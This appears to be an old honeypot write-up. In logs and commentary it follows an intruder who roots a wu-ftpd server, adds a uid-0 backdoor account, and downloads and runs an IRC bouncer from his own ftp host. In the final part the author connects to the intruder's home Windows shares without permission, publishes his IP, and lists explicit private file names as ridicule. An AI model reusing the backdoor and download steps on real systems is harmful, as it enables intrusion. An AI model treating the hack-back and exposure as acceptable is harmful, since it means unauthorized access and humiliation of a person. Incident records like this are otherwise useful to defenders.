MASTER-0N

So.. you wanted to know about MASTER-0N? Okay.. there goes.

On June 21th, snort alerted me about someone doing something to the default wu-ftpd on my leetle RedHat box: (note I changed my IP-address to 10.0.0.14)

06/21-18:41:09.662606 [**] [1:1424:3] SHELLCODE x86 EB OC NOOP [**] [Classification: Executable code was detected] [Priority: 1] {TCP} 203.238.85.131:45703 -> 10.0.0.14:21

Ah.. executable code. nice. But then something nasty turned up:

06/21-18:41:14.509693 [**] [1:498:2] ATTACK RESPONSES id check returned root [**] [Classification: Potentially Bad Traffic] [Priority: 2] {TCP} 10.0.0.14:21 -> 203.238.85.131:45703

MASTER-0N gained root.. Pesky little rodent. It seems he wanted to be sure he did it, so he exploited the bug again, gaining root just as he did the first time. After gaining root for the second time he checked if someone was logged in and because there wasn't anyone, went on, giving user 'daemon' a password (censored):

w
6:43pm up 153 days, 2:58, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
passwd daemon
xxxxxxxx

Changing password for user daemon
passwd: all authentication tokens updated successfully

Ok, now he could log in as 'daemon'. But still no root.. So let's add a user with uid 0:

/usr/sbin/useradd uid -u 0 -d /bin -s /bin/bash
passwd uid
xxxxxxxx

Changing password for user uid
passwd: all authentication tokens updated successfully

Now he could log in as 'daemon' and su to 'uid' and do whatever he wanted. So he did.

login: daemon
Password:

bash$ su uid
Password:

Let's step aside here.. Something stupid happened. Because I hacked up bash and put it in /sbin, the directory the kiddo came in on was /sbin. That was odd, so he did an 'ls'. Didn't notice the /sbin/bash though :)

[root@hostname /sbin]# ls

Ok.. he was confident he was 'Tha leader pimp', so he continued. Ofcourse this wu-ftpd would be hacked soon if he didn't close the hole. He tried to do that with:

[root@hostname /sbin]# echo "ftp" >>/etc/ftpusers
[root@hostname /sbin]# echo "anonymous" >>/etc/ftpusers
[root@hostname /sbin]# echo "anonymous" >> /etc/users

Ok. .hole closed. Let's install psy!

[root@hostname /sbin]# cd /dev//ida
[root@hostname ida]# ls
...
[root@hostname ida]# ftp www.master-0n.0catch.com

Connected to www.master0n.0catch.com.
220 ftp1.0catch.com NcFTPd Server (licensed copy) ready.
Name (www.master0n.0catch.com:admin): master0n.0catch.com^M
331 User master0n.0catch.com okay, need password.
Password:

230-You are user #63 of 6000 simultaneous users allowed.
230-
230 Restricted user logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls

200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
-rw-r--r-- 1 nobody nobody 438846 Jun 21 06:53 awu.tgz
-rw-r--r-- 1 nobody nobody 968262 Jun 21 09:29 ftp.tgz
drwxr-xr-x 2 nobody nobody 1648 Jun 20 14:52 orders
-rw-r--r-- 1 nobody nobody 573909 Jun 21 09:28 psybnc.tgz
226 Listing completed.

ftp> get psybnc.tgz

local: psybnc.tgz remote: psybnc.tgz
200 PORT command successful.
150 Opening BINARY mode data connection for psybnc.tgz (573909 bytes).
226 Transfer completed.
573909 bytes received in 4.54 secs (1.2e+02 Kbytes/sec)
ftp> bye

[root@hostname ida]# tar xzvf psybnc.tgz
...
[root@hostname ida]# cd ppp

[root@hostname ppp]# make
...
[root@hostname ppp]# ../psybnc
.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-.
,----.,----.,-. ,-.,---.,--. ,-.,----.
| O || ,-' \ \/ / | o || \| || ,--'
| _/ _\ \ \ / | o< | |\ || |__
|_| |____/ |__| |___||_| \_| \___|
Version 2.2.1 (c) 1999-2000
the most psychoid
and the cool lam3rz Group IRCnet

`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=tCl=-'
Configuration File: psybnc.conf
No logfile specified, logging to log/psybnc.log
Listening on: 0.0.0.0 port 50001
psyBNC2.2.1-cBtITLdDMSNp started (PID 10962)
[root@hostname ppp]#

So.. his bouncer was up and running. After a while he connected to the bouncer, set up an account for himself and joined his favorite IRC channels. Boring as those are he soon left. But the psybnc connection to the server was there, waiting to be logged. 600KB of Trivia shit.. man.. this kiddo just sucked. Luckily there came MiCrobul :)

MiCrobul was not nice to MASTER-0N. He killed the running psybnc and might as well have deleted the user 'uid' and changed 'daemon'. Anyway.. MASTER-0N noticed his bouncer was down on June 22th and checked if the box was still up:

06/22-13:41:49.569333 [**] [1:382:4] ICMP PING Windows [**] [Classification: Misc activity] [Priority: 3] {ICMP} 80.96.71.98 -> 10.0.0.14

Wow, that's a windows-box! Guess that 80.96.71.98 is his home-IP (he used this IP to connect with his psybnc, but I didn't investigate at that time). Let's try a little NetBIOS snooping around.

user@hostname:~$ nmblookup -A 80.96.71.98
Looking up status of 80.96.71.98
CONTOR <00> - B <ACTIVE>
LUCRU <00> - <GROUP> B <ACTIVE>
CONTOR <03> - B <ACTIVE>
CONTOR <20> - B <ACTIVE>
LUCRU <1e> - <GROUP> B <ACTIVE>

user@hostname:~$ smbclient -L //CONTOR -I 80.96.71.98
Sharename Type Comment
--------- ---- -------
C Disk
E Disk
IPC$ IPC Remote Inter Process Communication

Server Comment
--------- -------

Workgroup Master
--------- -------
LUCRU PC5
MAINET PC18

user@hostname:~$ smbclient //contor/c -I 80.96.71.98

smb: \> ls
BOOTLOG.TXT AH 56217 Wed Jun 5 06:08:34 2002
...

Okay.. this kid is an idiot. His drives shared for the whole world. But now look at E:

smb: \> ls
18 & french.mpeg R 63625304 Tue Jul 10 04:12:38 2001
Joeanne.mpg R 41984116 Sun Dec 10 01:00:00 2000
big tits masturbating.mpeg R 10620684 Sun Dec 9 18:05:26 2001
bm_shellisinn_dkmv22_c.avi R 12808192 Tue Nov 6 17:26:22 2001
first time.mpeg R 91592704 Tue Jul 10 03:33:06 2001
heather lee.mpeg R 61335556 Sun Oct 10 19:01:20 1999
junaita.mpeg R 74842124 Sat Jul 7 22:58:32 2001
kristi myst blows about 5 guys.avi R 14408192 Tue Oct 23 16:09:04 2001
marianna.mpeg R 65378332 Fri Jul 6 02:22:22 2001
pamela anderson.mpeg R 132320098 Wed Mar 7 19:06:12 2001
rocco siffredi - dirty anal kelly in rome.mpeg R 102004772 Sun Jul 8 06:47:54 2001

Does your mom know this MASTER-0N? Anyway, there's nothing of value on that disks, not easily extracted anyway. So I let him be. But good fun this one was :)